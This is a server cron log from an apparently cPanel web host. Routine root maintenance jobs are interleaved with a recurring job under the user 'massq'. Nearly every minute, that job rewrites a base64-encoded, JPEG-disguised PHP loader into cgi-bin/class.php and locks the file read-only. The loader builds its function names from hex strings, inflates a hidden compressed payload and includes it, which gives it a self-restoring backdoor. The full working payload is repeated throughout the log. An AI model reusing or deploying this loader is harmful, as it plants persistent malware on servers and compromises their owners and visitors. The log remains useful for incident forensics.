Sep  6 15:23:01 server CROND[10015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:23:01 server CROND[10014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:24:01 server CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:24:01 server CROND[10388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:24:01 server CROND[10389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:25:01 server CROND[10774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:25:01 server CROND[10775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:25:01 server CROND[10777]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:25:01 server CROND[10779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:25:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:25:01 server CROND[10783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:25:01 server CROND[10780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:26:01 server CROND[11694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:26:01 server CROND[11695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:26:01 server CROND[11696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:27:01 server CROND[12092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:27:01 server CROND[12093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:27:01 server CROND[12094]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:27:01 server CROND[12095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:28:01 server CROND[12486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:28:01 server CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:28:01 server CROND[12488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:29:01 server CROND[12921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:29:01 server CROND[12922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:29:01 server CROND[12923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:30:01 server CROND[13420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:30:01 server CROND[13427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:30:01 server CROND[13428]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:30:01 server CROND[13424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:30:01 server CROND[13426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:30:01 server CROND[13429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:30:01 server CROND[13431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:30:01 server CROND[13425]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:31:01 server CROND[14326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:31:01 server CROND[14327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:31:01 server CROND[14328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:32:01 server CROND[14783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:32:01 server CROND[14784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:32:01 server CROND[14785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:33:01 server CROND[15151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:33:01 server CROND[15152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:33:01 server CROND[15153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:34:01 server CROND[15524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:34:01 server CROND[15525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:34:01 server CROND[15526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:35:01 server CROND[15899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:35:01 server CROND[15901]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 15:35:01 server CROND[15904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:35:01 server CROND[15905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
